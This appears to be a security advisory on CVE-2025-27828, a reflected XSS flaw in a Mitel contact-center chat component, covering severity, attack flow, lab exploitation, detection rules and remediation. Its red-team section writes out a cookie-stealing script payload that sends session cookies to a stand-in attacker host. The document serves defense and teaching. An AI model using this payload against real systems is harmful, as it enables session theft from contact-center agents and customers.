CVE-2025-27828

Executive Summary

CVE-2025-27828 is a reflected cross-site scripting (XSS) vulnerability in the legacy chat component of Mitel MiContact Center Business. The flaw stems from insufficient input validation, allowing an unauthenticated attacker to inject arbitrary scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link). The impact is limited to confidentiality and integrity, with no effect on availability. As of this report, no patch is available, and no public proof-of-concept (PoC) or exploit code has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for user interaction and the limited impact on confidentiality and integrity. However, in a contact center environment, XSS can be leveraged to steal session tokens, perform phishing, or pivot to internal systems.

Deep Dive & Mechanics

The vulnerability exists in the legacy chat component, likely a web-based interface used for customer-agent communication. The component fails to properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim (e.g., an agent or customer) clicks the link, the script executes in the context of the vulnerable application.

Attack Flow:

1. Attacker crafts a URL: https://victim-mitel-server/legacy-chat?message=<script>alert('XSS')</script>
2. Attacker sends the link to a victim via email, chat, or social engineering.
3. Victim clicks the link while authenticated to the MiContact Center.
4. The server reflects the unsanitized input, executing the script in the victim's browser.
5. The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred. The legacy chat component likely uses a server-side language (e.g., Java, .NET) that directly echoes user input without encoding.

Vulnerable Code (Conceptual):

String message = request.getParameter("message");
response.getWriter().write("<div>" + message + "</div>");

Patched Code (Conceptual):

String message = request.getParameter("message");
String encodedMessage = StringEscapeUtils.escapeHtml4(message);
response.getWriter().write("<div>" + encodedMessage + "</div>");

The fix requires context-aware output encoding (HTML entity encoding) and input validation (e.g., rejecting script tags).

Exploitation & Lab Setup

Red Team

Lab Setup:

• Deploy a vulnerable Mitel MiContact Center Business instance (version 10.0.0.4 or 10.1.0.5).
• Use a browser with developer tools.
• Prepare a simple XSS payload.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /legacy-chat).
2. Craft a payload: <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
3. URL-encode the payload and append to the vulnerable parameter.
4. Send the link to a victim (simulated by clicking the link in the same browser).
5. Observe the cookie being sent to the attacker's server.

Example URL:

https://victim-mitel-server/legacy-chat?message=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Blue Team

Detection:

• Monitor web logs for unusual query parameters containing <script>, onerror, onload, or encoded variants.
• Look for repeated requests to the legacy chat endpoint with suspicious patterns.
• Use WAF rules to block reflected XSS attempts.

Mitigation:

• Implement a Web Application Firewall (WAF) with XSS signatures.
• Apply input validation and output encoding at the application level.
• Restrict access to the legacy chat component via network segmentation.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /legacy-chat with parameters containing <script>, %3Cscript%3E, or onerror.
  • Outbound connections to attacker-controlled domains from the victim's browser.
• Host:
  • Browser history showing crafted URLs with XSS payloads.
  • Temporary files or cookies exfiltrated via JavaScript.
• Logs:
  • Web server logs showing 200 responses to requests with XSS patterns.
  • Application logs showing unhandled exceptions from input parsing.

Detection Engineering

YARA Rule

rule CVE_2025_27828_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Mitel MiContact Center legacy chat"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27828"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Mitel MiContact Center Legacy Chat
id: cve-2025-27828
status: experimental
description: Detects reflected XSS attempts against Mitel MiContact Center Business
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - '%3Cscript%3E'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in chat messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27828 Reflected XSS in Mitel MiContact Center"; flow:to_server,established; content:"/legacy-chat"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Legacy Chat: If the legacy chat component is not essential, disable it immediately.
2. WAF Rules: Deploy WAF rules to block XSS payloads in the /legacy-chat endpoint.
3. Input Validation: Implement server-side input validation to reject malicious characters.
4. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before reflection.

Long-Term Fix:

• Apply vendor patch when released.
• Upgrade to a non-vulnerable version (if available).
• Migrate to a modern chat component with built-in XSS protections.

Workaround:

• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement HTTP-only cookies to mitigate session theft.

Valters IT